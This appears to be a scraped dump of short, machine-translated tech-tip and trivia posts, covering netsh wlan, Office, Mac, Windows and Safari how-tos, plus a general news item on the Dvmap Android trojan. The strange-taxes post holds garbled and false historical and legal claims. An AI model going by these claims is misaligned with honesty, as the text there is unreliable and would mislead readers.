Netsh WLAN\nYou can choose to add this profile only to a certain wireless interface or to certain users.\nOnce the profile has been added, you should verify with:\nnetsh wlan show profiles\n  Figure 4: Show wireless profiles with Netsh wla\nYou can see the settings for that profile with:\nnetsh wlan show settings\nWhen you know you have a profile, you can use it to connect, like:\nnetsh wlan connect ssid = 'mySSID' name = 'WLAN-Profil1'\n(Assume that the profile did not specify a connection automatically)\nAs you can see, we are connected to the wireless network.\n  Figure 5: Results of connecting to WLAN\nIf only one interface on the computer and security settings in the prifile are completely correct, you should connect to the wireless LAN.\nWhat else can Netsh WLAN do? \n Besides adding / deleting profiles and connecting or disconnecting wireless networks, Netsh WLAN can also do many other tasks. This is a list of things that this command will bring to you in addition to the above features: • Export wireless settings - By running netsh wlan dump and transferring it to a text file, you can create a script using this script to quickly get the wireless network adapter. configuration. When a wireless network is configured and connected, we recommend creating this WLAN configuration script with the following command:\nnetsh wlan dump\u0026gt; mywlandump.txt\n• Add a filter - with the netsh wlan add command, you can also add a wireless network filter as well as a profile.\n• Show and set up automatic configurations - When auto-configuration is enabled on a wireless interface, this interface automatically connects to its wireless profile. This is enabled by default. You can check the settings with netsh wlan show autoconfig option . You can also change the autoconfig settings with autoconfig enabled = no interface = 'Wireless Network Adapter' • Show and set blockednetworks - Wireless networks may be hidden or locked. You may want to have locked networks displayed on the available network list but listed 'blocked'. To hide these 'blocked' networks from the available network list, perform netsh wlan set blockednetworks display = hide • Show and set up if you are allowed to create wireless profiles for all users on your computer. • Show and set the profile order - When it comes to which profile will be used on the network interface if multiple profiles appear, the profile order will be sorted. With the current commands and profile settings, you can view or change the profile order from the command line utility. • Show and set whether to track the feature as 'on' or 'off' - Trace is a feature to record events for your wireless device. When you enable this feature with the netsh wlan command set yes yes , you can see the logs in % WINDIR% tracingwireless . Conclude The netsh wlan command is a very useful and very new script in Windows Vista. With these commands, you can easily add wireless profiles and connect to the wireless network from a command line utility - through scripts.\nncG1vNJzZmismaXArq3KnmWcp51ksLC6xaKerqqVYsSqvsSlnKyrXZi8r7rEnKuip55ivKd51qKlnaenqHq3tdKtmGaeoqS6bq%2FLomSwoaSdeq%2Bx06yfZq%2Bclrs%3D\n","link":"/post/configure-wireless-connection-of-windows-vista-from-cli-with-netsh-wlan/","section":"post","tags":null,"title":"Configure wireless connection of Windows Vista from CLI with netsh wlan"},{"body":"Although both software come from the Adobe house, they still have certain distinct differences and directly affect different working needs.\nTo understand the features of Photoshop and Illustrator, you must understand the nature and nature of the software. In this article, we will share with you the differences between Photoshop and Illustrator.\n1. Photoshop - Bitmap / Raster Graphics   The essence of Photoshop is that they work on Bitmap / Raster files and these files usually come in the following formats: JPG / JPEG / PNG. The defining feature of Bitmap / Raster files is that they display images based on small square blocks - also known as pixels, and in an image there will be millions, hundreds of millions of small square blocks.\nThe more pixels the images have, the sharper they will be and they won't break when zoomed in. In the opposite case, the image with less pixels, when enlarged, will appear broken, not smooth and less sharp.\nBitmap / Raster graphics appear a lot in life, they come from: Digital photos, photos on the Internet, photos taken from camera equipment, phones, .\n  Photoshop is a software that was born to process Bitmap / Raster files because they can mix colors, drop shadows, and create effects in many different ways. However, the disadvantage of working files in Photoshop is that they cannot zoom too big because they are built on multiple pixels, the image will be broken and this problem often occurs in product printing.\nPhotoshop does not intend to print much, so the toolkit that Adobe manufacturers equips them with is also completely different, mainly the tools that focus on image editing and effects. If you notice, all the features in Photoshop revolve around editing images, creating images for use on devices displayed with screens such as computers, phones, .\nAdvantages / disadvantages:\nPopular in everyday life File Raster features flexible color mixing, using brushes, gradient fill, effects, . Raster cannot zoom too in because they will break Raster has difficulty filling the array because the pixels next to each other will have different tones 2. Illustrator - Vector Graphics   If Photoshop uses Raster, Illustrator uses Vector, Vector graphics means that the image content is built on lines (lines) instead of pixels (squares) in Raster. The biggest advantage of the images on the lines is that when you zoom, they cannot be broken. It is because of this that Adobe has emphasized that Illustrator is one of the world's leading print design tools.\nWhen Adobe turned Illustrator into a specialized software for printing design, the toolkit they equipped with Illustrator was also changed to suit. All Illustrator tools only revolve around content creation with blocks, boxes and lines, .\nAdvantages / disadvantages:\nZoom in / out freely, regardless of the original size Changing color arrays is very easy The toolkit is difficult to use and the way to work is somewhat more complicated 3. In specific cases While both Photoshop and Illustrator support direct printing, let's put them in the following situation:\n\"Design and print Banner Background with size 3m x 2m\"\n  For Photoshop , the user will create a Background of the correct size so that the printing won't break and start working. However, keep in mind that the larger the background size, the heavier the file and the more lag the software will lag, not to mention when you add different effects. In some cases of such large file design the file size can be up to several GB. Although they are a few GB in capacity, they are only suitable when printing the correct size or smaller than the size of the Background, if a larger print will break. For Illustrator , users don't care about the size of the background, they just need to create a working file with the correct proportions. After moving to the printing process, they just need to set the print parameters on the toolbar to finish, the image will be printed and not broken, even the client side requests to change the background size, the you also only need a few minutes to finish. Not only flexible printing, AI file size is also a lot lighter than the original file design in Photoshop. In this article,\u0026nbsp;TipsMake.com\u0026nbsp;has shared with you the differences of Photoshop and Illustrator from Adobe. Have a nice day!\nPhotoshop illustrator ncG1vNJzZmismaXArq3KnmWcp51ksaqyxZ6pnqaTmsBursStrp6dnmK9qbvTqKqhp6Birq%2BwjKKjpa2jqb%2BiwM6r\n","link":"/post/differences-between-photoshop-and-illustrator/","section":"post","tags":null,"title":"Differences between Photoshop and illustrator"},{"body":"Power User Menu , also known as Win + X Menu, was first introduced on Windows 8 version, allowing users to easily access system tools such as Disk Management, Control Panel and Command Prompt.\nTo open the Power User Menu (Win + X), you can press the Windows + X key combination or right-click the Start button in the Taskbar.\nOn Windows 10 Anniversary Update and older versions, the Power User Menu (Menu Win + X) will display the Control Panel option. However, on Windows 10 build 14942 and later versions, the Control Panel option is completely replaced by the Settings option.\n    If you want to add Control Panel option to Menu Win + X , please refer to the following article of Network Administrator.\nSteps to add Control Panel to Windows Menu + X: To customize the Power User Menu (Windows + X) on Windows 10, you can rely on the support of the 3rd application, Win + X Menu Editor .\nStep 1: Download Win + X Menu Editor to your computer and install.\nDownload Win + X Menu Editor to your computer, unzip and install it here.\nStep 2: Depending on which version of Windows 10 you use is 64 bit or 32 bit, you run the Win + X Menu Editor file in the x64 or x86 folder.\nStep 3:   After the program starts, you can choose Group 1, Group 2 or Group 3 . In the following example, Network Administrator select Group 2 to add the next Control Panel option Settings option.\nStep 4:   Click the Add a program button, then click Add a Control Panel , select Control Panel from the list and then click Add .\nStep 5: Click Restart Explorer to restart Windows Explorer. The Control Panel option will appear on Power User Menu when you right-click on the Start button or when pressing the Windows + X key combination.\nRefer to some of the following articles: How to activate Dark Mode on Windows 10?\n How to use Command Prompt to manage wireless networks on Windows 10?\n Trick to enable / disable Windows Updates on Windows 10 quickly and easily\n Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUmXqku82tqaikXaWur7HLZquoZaCkxKa%2BjK6qnqpdorKvwYywoKecn6zAbsSMqKVmr5mjsbDD0mZoaQ%3D%3D\n","link":"/post/how-to-add-control-panel-to-power-user-menu-windows-x-on-windows-10/","section":"post","tags":null,"title":"How to add Control Panel to Power User Menu (Windows + X) on Windows 10"},{"body":"To center alignment for a paragraph, you only need to select Center in the Home tab . However, if the top alignment is used for a cell in a data table, Excel spreadsheet, you will not be able to adjust the alignment content in the middle position. compared to the cell in the spreadsheet. The following article shows how to center cells in Word and Excel.\nAlign text in a cell in Word For example, for the data table below, the data is not in the middle of the cell:\n  Where the choice of alignment between the Center, the text is not in the middle position versus box.\n  To center alignment do the following:\n- Select the table content to align -\u0026gt; Layout -\u0026gt; Alignment -\u0026gt; Align Center:\n  - The results of the data content in each table cell are centered:\n  - In addition to the above, you can do the following: Select Center alignment for the data table -\u0026gt; select the data table that needs alignment -\u0026gt; right-click and select Table Properties:\n  - A dialog box appears -\u0026gt; select the Cell tab -\u0026gt; Center -\u0026gt; click OK:\n  - Aligned data table results:\n  Center text in Excel. - Select the content in the cell to be centered -\u0026gt; on the Home tab -\u0026gt; Alignment -\u0026gt; Middle Align (to select the content of text evenly spaced above and below the cell):\n  - Next select Center (center alignment):\n  - The result after choosing two types of alignment results:\n  - In addition, to center the cell you right-click the content to be centered -\u0026gt; Format Cell:\n  - The dialog box appears, select the Alignment tab in the section:\n+ Horizotal : select Center (content in the middle compared to the horizontal, equal to the left and right margins).\n+ Vertical: Select Center (content in the middle compared to vertical ie equidistant from the top and bottom).\nAfter making your selection click OK:\n  - Get results:\n  Above is a detailed guide on how to center cells in Word and Excel. In this article used on Word, Excel 2013 with other versions of MS you do the same. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmcnrSvedOer61lkprBuLHEp2ScnZyhwG61zWauqKqUYq6vsIyer5ydnA%3D%3D\n","link":"/post/how-to-align-text-between-cells-in-word-and-excel/","section":"post","tags":null,"title":"How to align text between cells in Word and Excel"},{"body":" Adding YouTube videos to PowerPoint 2010 allows you to conduct presentations seamlessly without having to toggle between your Internet browser and PowerPoint. YouTube videos can be embedded in any PowerPoint 2010 presentation using either...\nMethod 1of 3:\nUsing the Insert Video Feature  Open the PowerPoint presentation in which you want the YouTube video inserted.\n  Launch your Internet browser and navigate to the YouTube video you want embedded into your presentation.\n  Click on 'Share' directly below the YouTube video, then click on 'Embed.' The video's iframe code will display on-screen.\n  Right-click on the video's iframe code, then select 'Copy.'\n  Click back over to your PowerPoint presentation and navigate to the slide on which you want the YouTube video inserted.\n  Click on the 'Insert' tab, then click on 'Video.'\n  Select 'Video from Web Site.' This will open the 'Insert Video' dialog box.\n  Right-click in the text field inside the dialog box, then select 'Paste.'\n  Click on 'Insert.' The YouTube video will now be embedded into your PowerPoint presentation.[1]\n Method 2of 3:\nEditing Properties Under the Developer's Tab  Navigate to the slide in the PowerPoint presentation on which you want the YouTube video inserted.\n  Click on the 'Developer' tab, then click on the 'More Options' button in the Control section. This will open the 'More Controls' dialog box.\n  Select 'Shockwave Flash Object,' then click on 'OK.' A resizable box will display on the PowerPoint slide that can be resized specifically to fit the YouTube video as desired.\n  Click on the resizable box, then drag to specify where you want the video inserted on the slide.\n  Right-click inside the resizable box, then select 'Properties.' This will open the Shockwave Flash properties menu.\n  Launch your Internet browser and navigate to the YouTube video you want embedded in your presentation.\n  Right-click on the video's URL in the address bar and select 'Copy.'\n  Click back over to PowerPoint and paste the video's URL into the text field next to 'Movie.'\n  Delete 'watch?v=' from the YouTube URL in the Movie field and replace this value with 'v/.' This will allow the YouTube video to play from directly within your presentation.\n  Close the Properties window, then click on the 'Slide Show' tab.\n  Select 'Play from Current Slide.' When you click on that particular slide during your PowerPoint presentation, the YouTube video will automatically begin playing.[2]\n Method 3of 3:\nTroubleshooting  Install the latest Microsoft Office updates for PowerPoint 2010 if 'Video from Web Site' is not listed in the 'Video' dropdown menu as noted in Method One of this article. This step will also resolve the following error message when trying to embed a YouTube video: 'PowerPoint cannot insert a video from this embed code. Verify that the embed code is correct, and then try again.'[3] Navigate to Microsoft's website at https://support.microsoft.com/en-us/kb/2837579 and select the option to download the latest PowerPoint 2010 update. Alternately, use the Windows Update feature to install the latest Office updates.   Try installing Adobe Shockwave Player if the 'Video from Web Site' option under the 'Video' dropdown menu is grayed out or disabled. This program is required to embed YouTube videos in PowerPoint 2010.[4] Navigate to Adobe's website at https://get.adobe.com/shockwave/, click on 'Download Now,' and follow the on-screen instructions to install Adobe Shockwave Player to your computer.   Lesley Montoya Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2dl7KlecBmsKitpKqvpnnVopuep12eu268zrCcq6ifnru1eZFpaGk%3D\n","link":"/post/how-to-embed-a-youtube-video-in-powerpoint-2010/","section":"post","tags":null,"title":"How to Embed a YouTube Video in PowerPoint 2010"},{"body":"And it may be due to various reasons that the search engine fails in Outlook. The following article will guide you on some ways to fix Outlook search error.\n1. Update new version for Outlook Using an older version of Outlook can also cause errors, such as search errors. To fix the error, update to the new version for Outlook.\n  2. Fix the Outlook Index error Error reporting Index on Outlook will display a message when we cannot find a result, or the search results are not informative.\nWe start Outlook and then click Search to activate the search engine tab. Next, click on the menu at Search Tools in the Options option. Click on Indexing Status.\nYou should now receive the message that Outlook has finished indexing all of your items. 0 items remaining to be indexed, the indexing was completed. If the number is still displayed, wait 5 minutes.\n  3. Use the error correction tool on Windows Press the Windows + I key combination to open Windows Settings. Then click on Apps and then select Apps \u0026amp; Features in the next interface.\nNavigate to the Microsoft Office application in the list and click the Modify button. Finally, choose Quick Repair or Online Repair and then click the Repair button to proceed with the repair.\n  Fix Outlook error Outlook search error ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqwwdOlpqijXaiyor7CoWSeqqKkvw%3D%3D\n","link":"/post/how-to-fix-outlook-search-error/","section":"post","tags":null,"title":"How to fix Outlook search error"},{"body":"On Mac keyboards are also integrated icons, special characters. However, these icons are hidden so very few Mac users know. In the article below, Network Administrator will show you some ways to use these icons on Mac.\n  Part 1. Use basic icons hidden on Mac keyboards Let's start with the icons that users often use but never found on the keyboard.\n1. Symbol © Usually to use this icon to insert a piece of text, the first way we often think of is searching on Google, copying and then pasting it into the text.\nIn addition to the above, there is a simpler way: press Option + G and the '©' icon will appear at the cursor position.\n2. Symbol ® The simplest way to access the '®' icon is to press Option + R.\n3. ° symbol Usually to access the \"°\" icon (degree icon), the only way Mac users usually do is to access the \"Character and Emoji\" table (Character and Emoji) to search.\nHowever, few people know that using Option + Shift + 8 key combination also displays this icon. Also pressing the Option + 0 key combination will appear a similar icon.\n4. Icon ™ If your job is heavily related to the brand, then surely the '™' icon will often be used. To use this icon, the easiest way is to press Option + 2 .\nPart 2: Use virtual keyboard If the Menu Bar virtual keyboard is not activated, go to System Preferences =\u0026gt; Keyboard and check the 'Show viewers for keyboard, emoji, and symbols in menu bar' section .\n  Once done, clcik select the keyboard icon on Menu Bar and then click \" Show Keyboard Viewer \".\n  Now the virtual keyboard will display on the screen. You can press any \" Option , Shift or Command \" keys to see the difference on the keyboard.\n  On each keyboard we will have a list of different icons and you can use the corresponding key.\nPart 3: Some other characters and emoticons It's not enough to use virtual keyboards and use basic icons hidden on Mac keyboards, besides you can access characters, emoticons and other special character symbols. using 'Character Viewer'.\nTo open Character Viewer, first click on the keyboard icon on Menu Bar, then select Show Emoji \u0026amp; Symbols or press Control + Command + Space .\nWhen the Character Viewer is open, you can view all the characters and emoticons by category, and can be searched easily.\nAfter you've found the character or emoticon you want, simply double-click the icon to insert it into the cursor position.\nRefer to some of the following articles: Summary of the list of common shortcuts on Mac OS X Instructions from AZ how to install Windows 10 on Mac Steps to install Windows 7 on Mac using Boot Camp Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWato567qHnHopudnZ5itqS7zaxkqKZdoq6kecqesJunkaex\n","link":"/post/instructions-for-using-hidden-icons-on-mac-keyboard/","section":"post","tags":null,"title":"Instructions for using hidden icons on Mac keyboard"},{"body":"  Managing printers in Windows Server 2008 - Part 1\nIn the previous part of this article series, I showed you how to install the printer management interface Print Management console. In this section, I will continue the discussion by showing you how to transfer other network print servers to another network print server you created.\nSwitch Network Printer\nOnce you have a print management server for your business, you will definitely want to merge some other print servers. The integration will allow you to run all the printers in the network through a network print server, thus reducing the number of print server maintenance tasks that administrators need to perform.\nTo merge network print servers, open the Print Management console by selecting the Print Management command from the Server's Administrative Tools. When the interface appears, click the Print Servers item and select the print server you want to transfer. Right-click on this print server, then select the Export Printers to a File command from the menu that appears.\nHere, Windows will launch the Printer Migration Wizard. The initial screen of the wizard will show you the printer's drivers and processor will be exported, as shown in Figure A.\n Figure A: The Printer Migration Wizard will list the printer driver and processor to be exported. Click Next , and you will receive a prompt to specify the path and file name to which you want to export printer information. Enter this information in the location provided, then click Next again. The wizard will now export the printer information to a pre-designed file. When the process is complete, the wizard will notify you of any errors that appear, it will also let you observe the entries that have been written to the system event log. Click the Finish button to complete the process.\nThe rest of the migration process is completely simple. Just open the Print Servers section, then select the print server you want to import other printers into. Right-click on the print server and select the Import Printers From A File option from the menu that appears. After doing this, Windows will launch the Printer Migration wizard.\nEnter the path and file name of the export file you created, then click the Next button. You will then see a list of printer drivers and processors that will be imported.\nClick Next , and you will see a screen like the one shown below. As you can see in the figure, you must tell Windows what to do if one of the printers is being imported in the same way as the existing printer. You also need to tell Windows if you want new printers to be listed in Active Directory. Click Next , and Windows will import the printers. When the wizard is complete, you will see the printers you have imported listed below the currently selected print server.\n Figure B: You must tell Windows how to handle conflicts Some issues to consider\nThe biggest problem to consider when it comes to transferring printers is the Print Management console that can transfer printers from any Windows print server. You are not limited to transferring your printers to the Windows Server 2008 print server. However, it should be noted that there are certain limitations in the way it is implemented. For example, you cannot transfer a 64-bit printer driver cluster to a Windows 2000 server and expect them to work.\nAnother limitation is that if you want to transfer custom forms or profiles, they can only be imported into the internal print server. For some reason, Windows does not support exporting them to other print servers.\nOne final advice is that Windows Server 2008 provides a command line tool called PrintBRM.exe . With this tool, some administrators can use the Windows task scheduler to schedule the utility to export the printer's information in a certain cycle, like how to backup a print server.\nConclude\nIn this section, I have shown you how to transfer the print queue from a print server to another print server. In Part 3 of this series, I will show you how to use policy settings to manage network printers.\nncG1vNJzZmismaXArq3KnmWcp51kuqK6wKCgp59dpb%2BqutOeqaxlmaN6uLXNnaawq12osrPCxKtka2hgbXqxrdGtZGs%3D\n","link":"/post/managing-printers-in-windows-server-2008/","section":"post","tags":null,"title":"Managing printers in Windows Server 2008"},{"body":"The heat of Pokémon Go has not shown any signs of cooling since its debut, especially Pokémon Go has been officially present in Vietnam, making the wave of catching Pokémon more exciting than ever. For each coach, being able to own a large number of Pokémon is a type of Pokémon with a large share, which will play an important role in helping you dominate in matches.\nSee also how to own the types of Pokémon that are popular in Pokémon Go See more Summary - How to play Pokemon GO, virtual reality game catch Pokemon on smartphone Each type of Pokémon has Combat Power (CP) and Hit Points (HP) stats. HP can be lost during battle, protecting GYM. Also, the CP of each Pokémon type will be different and determine the fighting power of each type in the battle. For example, in your hand, there are 2 Eevee warriors, but not sure if their CP points are the same.\nSee also how to evolve Pokémon Eevee in Pokémon Go During the selection process, gamers will prioritize those with high CP points and train them to increase their combat ability. Thus, defensive defense crafts will be much more consolidated. In this article, we will summarize the maximum CP scores of 150 Pokémon so that gamers can calculate Pokémon capture, as well as a Pokémon training plan.\nSee more Things to know to upgrade Pokémon in Pokémon Go             Wish you all have fun playing games!\nncG1vNJzZmismaXArq3KnmWcp51kuqLEyKaspmWZo7GmxIyonWaon6CyrrvNZqCnZaCkuKa5zqdkoKc%3D\n","link":"/post/maximum-index-of-pokemon-in-pokemon-go/","section":"post","tags":null,"title":"Maximum index of Pokemon in Pokemon GO"},{"body":" Instructions to create Group, Email group in Gmail With the help of Google Chrome extension, you can view company domain names and icons of email senders in Gmail Inbox. This gadget will extract the sender's details and display the company's favicon icon.\nGmail is a very successful email service. Today, millions of people are using Gmail accounts to send and receive emails. And more than a billion Gmail users use this mailing service daily but are not aware of the hidden feature in Gmail. This article will show you how to add a company domain name and sender icon to your inbox.\nView company domain names and icons of Email senders in Gmail Inbox Most users use the Google Chrome browser and have tried many great chrome extensions with many new features for the browser. And in this section, you will use one of those utilities. Do not panic if you do not know about Chrome extension because the article will provide detailed step by step instructions to help you install and use this extension easily. So follow the steps below.\nSomething about extension: Gmail Sender Icons is a Google Chrome extension that helps you identify email senders in Gmail easily. It shows the sender's company domain name and the official logo (favicon) of the sender organization next to the email. For example, if you receive an email from larry@google.com, Gmail's extension will add a virtual label google.com to the email and the Google website logo. The sender's favicons and domain names are displayed on Gmail both in search results. It applies to most sender's labels and actual email labels remain the same. Gmail Chrome extension uses Google S2 service to create the site's favicon while Gmail messages are parsed with Inbox SDK Framework. All processing is done in your browser and does not share or download Gmail data anywhere. How to install and use Gmail Sender Icons in Gmail: 1. First of all, you need to download and install Gmail Sender Icons, the extension will extract the sender's details and use it to display the favicon.\n  2. Simply access the link and click ' Add to chrome ' to download the extension. After a few minutes, the extension will be added to the browser and you will see a black icon in the right corner.\n3. Now just click on the icon and turn on both options.\n  4. Open Gmail mailbox and you'll be surprised to see the company logo in front of each email.\n  So with just a few simple steps you can easily manage email and identify senders. This is also useful for detecting spam emails in your account. Hope you find these guides useful and shared with others.\nncG1vNJzZmismaXArq3KnmWcp51kvra1wqSjsmWmnrK4ecSmmKKkXaiyr7DEq2Sippakv66t06Kmp2Wfo3qoucCio2avmam1brPMmqClZaOau6Wx0WagnKeeqA%3D%3D\n","link":"/post/quickly-view-email-sender-information-on-gmail-with-gmail-sender-icons/","section":"post","tags":null,"title":"Quickly view email sender information on Gmail with Gmail Sender Icons"},{"body":"In the economic history of the world there exist some strange types that no one can imagine such as: beard tax, cap tax, window tax . In Russia, in the 17th century all people Bearded men pay 60 rubles for those in the aristocracy, high-class merchants, 100 rubles and 60 rubles.\n1. Beard Tax   At the end of the 17th century, Russian Emperor Peter the Great applied a tax on the face of the man. That is the beard tax. By law, all bearded men pay 60 rubles for those in the aristocracy, high-class merchants, 100 rubles and 60 rubles.\nBeard tax was also issued at Henry VIII issued in England in 1535.\n2. Hat Tax   The tax was issued in 1784 to make money from rich and prominent people. By law buyers of hats must pay 2 shillings (0.02 USD) in taxes. Tax evasion is an offense and punishment even sentenced to death.\n3. Tax playing cards In the Middle Ages , playing cards was a popular activity of people in England. The kings realized this was a good opportunity to exploit the people. And the playing tax has been issued. King James I printed the images with the army or Ace of spades to give to those who paid taxes. Tax evaders may be imprisoned.\n  Full taxpayers will be given a card like this .\nThis tax was maintained until August 1960, when the British government ordered casinos to be responsible for paying taxes on behalf of card players.\n4. Taxes on products are considered . candy   In September 2009, the Illinois State Government decided to tax candy higher than other food taxes. But any food that is considered candy to be subject to higher taxes is controversial. And the Illinois State Department made the definition: \"Foods that need to be refrigerated, and ingredients that are not only wheat flour will be considered candy \" is ridiculous.\nUnder this regulation, yogurt will normally be considered food, while fruit yogurt with other ingredients will be considered candy and higher taxable.\n5. \"Cowardly\" tax   This special tax was issued in England by King Henry I (1100 - 1135). All citizens who do not want to fight must pay this tax. At first, the tax was very low but by the time of King John (1167 - 1216) it had increased to 300%, even applied to all soldiers in the years without war.\nAfter more than 300 years of circulation, this tax was abolished in 1412.\n6. Prohibited sales tax   On January 1, 2005, in Tennessee, the National Assembly allowed illegal trading of drugs like marijuana, opium, cocaine . Merchants of these items must pay a certain tax and be stamped to legalize their business. Currently, there are 22 countries in the world applying this tax.\n7. Taxes \"deflated\"   In 2003, the New Zealand Government issued a \"deflated\" tax, one of the efforts to implement the Kyoto Protocol on reducing greenhouse gas emissions. And the subject of this tax is farms - which are considered to emit 50% of the greenhouse gas in this country every year. This tax has met with opposition from farmers and eventually the Government has abolished this ridiculous tax.\n8. Urine tax   In 74 AD, Roman Emperor Vespasian bounced off the world's first public toilet-building initiative to create a budget. When his son protested the tax, Vespasianus put a tax on his nose and said, \"Pecunia is not olet.\"\n9. Tax window   King William III imposed a window tax, one of the most bizarre taxes in the UK in 1696 to make up for the budget that was in short supply. As a rule: each house is allowed to build up to 10 windows, if too, it will have to pay 2 shillings per year for each additional window.\nncG1vNJzZmismaXArq3KnmWcp51kwLW%2BwKeenmWklsWmv4yipWasmJp6uLvRpZs%3D\n","link":"/post/strange-taxes-in-the-world/","section":"post","tags":null,"title":"Strange taxes in the world"},{"body":" 13 optical illusions make you not believe your eyes 12 surprising facts about logos of world famous brands Scientific proof: Month of birth has an impact on human health and personality We have collected the most dizzying optical illusion photos. Some of us can see right away, while others will challenge the brain and may not give the right answer.\nHere are 12 optical illusion photos that will prove that your eyes can easily be ' tricked ' like anything else . Join us to challenge the eyes and brain through the series of optical illusions below!\n1. Which direction is the train going?  © Mighty Optical Illusions\nYou can change the direction when observing it.\n2. What is the color of the background?  © Rats – FunnyBone\nIt is difficult to follow. Seems like those points are dancing before your eyes?\n3. Motion illusion  © Markus Raetz\nA sculpture created the illusion of a rotating movement. Has your head rotated?\n4. Which way to escape the labyrinth?  © CollegeHumor\nHow long will it take you to escape this maze?\n5. Did you find the goose in the picture?  © Igor Lysenko\nModern surreal works contain a huge amount of conundrums and \" hidden \" images. The artist hid the image of a goose in the picture above. Can you find it?\n6. What do you see?  © THE META PICTURE\nIf you focus on the photo without winking or looking elsewhere, the image will disappear, will you see it?\n7. Focus on looking carefully at what picture you see?  © Skytopia\n © Skytopia\nLook at the red dot in the middle of the picture from 1 to 2 minutes. Then, scroll down to the second image and focus on looking at the middle of the picture.\n8. In your opinion, are these dice placed vertically or horizontally?  © BLAZE PRESS\n9. Look at the red dot on the girl's nose for 30 seconds  © Mighty Optical Illusions\nLook at the red dot on the girl's nose for 30 seconds, then look up at the wall, ceiling or another solid-colored surface, and wink quickly to see if there's any miracle!\n10. Do you see butterflies moving?  © Jikoman\n11. Try to guess how many spheres are on the bottom of the shelf?  © SlideShare\nIt's easy to see the yellow orb at the top, but according to you, how many spheres are on the bottom of the shelf?\n12. Count how many black dots there are!  © Wikipedia\nSee more: Choosing a photo that makes you feel the most uncomfortable will reveal exactly who you are!\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJ%2BmpaSfrLavs4xqaWanoKm2pK3LZqClpKWotrC6jKmfqKyfqHq4tculZKaZm5p6urvUZpuasqqhsg%3D%3D\n","link":"/post/the-following-12-optical-illusion-photos-will-make-you-dazzle/","section":"post","tags":null,"title":"The following 12 optical illusion photos will make you dazzle"},{"body":"The malicious code hidden in this application is so smart that it deceives Google's security mechanism, pretending to be a clean application, then replacing it with a poisoned version for a short time. Security researchers at Kaspersky Lab discovered that the new malware was released in the form of a Google Play Store game application, hidden behind the colorful block puzzle game that was downloaded at least 50,000 times before being removed.\nNamed Dvmap, this Android root malware disables the device's security settings to install a third-party malicious application and inserts a malicious code and system runtime library device to gain root access. phone.\n\"To overcome the security of Google Play Store, this malware creator used a very interesting method. They downloaded a clean application to the Store at the end of March 2017, then updated with the poisoned version in a short period of time, \"the researchers said. \"Normally, they will upload a clean version later on the same day. They did it at least 5 times between April 18 and May 15.\"\nHow it works Dvmap malware The Trojan works on both 32-bit and 64-bit versions of Andorid, once installed, it will attempt to gain root access to the device and install some modules on the system, including some written in Chinese. together with standalone application named com.qualcmm.timeservices.\n  The root of the Android phone is in the puzzle game application\nTo ensure that the infected module can be run by the system, the malware overwrites the system's runtime library, depending on the version of the user's Android device. To complete the installation of the stand-alone application, the system's authorized trojan will turn off Verify Apps and adjust the system settings, allowing applications to be installed from third parties.\n\"In addition, it can give the com.qualcmm.timeservices application the Administrator Administrator administrative rights without user intervention, just by running the command. That's a very different way to gain administrative rights.\" This third-party application will connect the infected device to the attacker's server, giving complete control of the device to the hacker.\nHowever, researchers still do not know which Android device is infected with the command, so it is unclear what kind of file it is executing, but it could be an ad file or a poison.\nHow to protect the phone from the Dvmap malware? Researchers are still testing the malware, but users who have installed the game are advised to back up phone data and perform data reset to avoid malware attacks.\nTo protect your phone from such applications, always be cautious of untrusted applications, especially when downloading from Google Play Store. Remember to only grant application verification rights when the content is relevant to the purpose of the application. Don't forget to read the user comments section before installing. In addition, anti-malware applications on your phone can detect and block malware before they infect your phone.\nncG1vNJzZmismaXArq3KnmWcp51kwbO7yZqlZqqfpMFurc2dqaihlGKxpsLInJxmmqmlrrS%2FxKxkoKefnLmmv4ysnJytop7BunnMqJueZZ%2BjerG4wLJkrKyfp7I%3D\n","link":"/post/trojan-root-android-device-bypasses-google-s-security-mode-on-play-store/","section":"post","tags":null,"title":"Trojan root Android device bypasses Google's security mode on Play Store"},{"body":"In Safari for iOS 13, Apple has added a Website View menu, a set of useful options for browsing websites, making it easier to navigate and easier to see.\nThis article will show you how to change the font size in the Website View menu, allowing you to adjust the font size on the website. In many cases, these controls work on sites that do not support changing the text size.\nHow to zoom in on iOS and Android devices Tips for using the Safari download manager on iPhone, iPad How to hide the toolbar in Safari on iPhone You can find the Website View menu in the field called Smart Search at the top of the Safari interface. Launch the application and navigate to a web page, then touch the aA icon in the upper left corner of the screen.\nThe text zoom option appears at the top of the Website View drop-down menu, touch the smaller letter A to minimize the font size and larger letter A to increase the font size, which is very simple.\nThe great thing about Website View menu is that Safari will remember your options for a specific website and apply it automatically to content loaded from the same parent URL.\nIt is useful when all the zoom in and out settings you choose for a specific web page are in the Settings application. You just need to touch the Zoom Page to find Settings for Websites .\nFrom here, you can determine the rate Safari applies to other websites that you don't set specific options for, which will help your overall browsing experience become a more enjoyable experience.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYytn55llqS7tXnSorGeZZmjerStxZqpomWfo3qqvMeopZ4%3D\n","link":"/post/how-to-change-the-font-size-in-safari-on-iphone/","section":"post","tags":null,"title":"How to change the font size in Safari on iPhone"},{"body":"GIF format has been around for a long time and is often used on social networking platforms because they are lightweight. Most GIFs now follow a funny, mischievous, interesting theme for people to use them instead of emoticons. If you like those GIFs and want to convert them into Videos for personal use, what to do? In this article, Software Tips will guide you how to convert GIF images to Videos.\n  Method 1: Convert GIF into Video with Premiere Pro Homepage: https://www.adobe.com/products/premiere.html\nPremiere Pro is known as the most famous Video editing tool in the world thanks to its useful features and strong, stable software system. The basic tasks like converting the format on Premiere Pro can still do well and even very quickly.\nStep 1: You start the software and select File -\u0026gt; New -\u0026gt; Project . (Ctrl + Alt + N) to create a new working project.\n  Step 2: Then, you Right-click on Media Browser -\u0026gt; Import to proceed to select the GIF file to convert into Video.\n  Then we have the GIF file in the system as follows:\n  Step 4: You proceed to hold and drag the GIF file into the Timeline bar to use.\n  After that, you will see the GIF file is converted into Video and you can press Space (spacebar) to watch Video.\n  Step 5: Next, select File -\u0026gt; Export -\u0026gt; Media . (Ctrl + M) to export the file.\n  Step 6: You set up the following information:\nFormat: H.264 Output Name: The 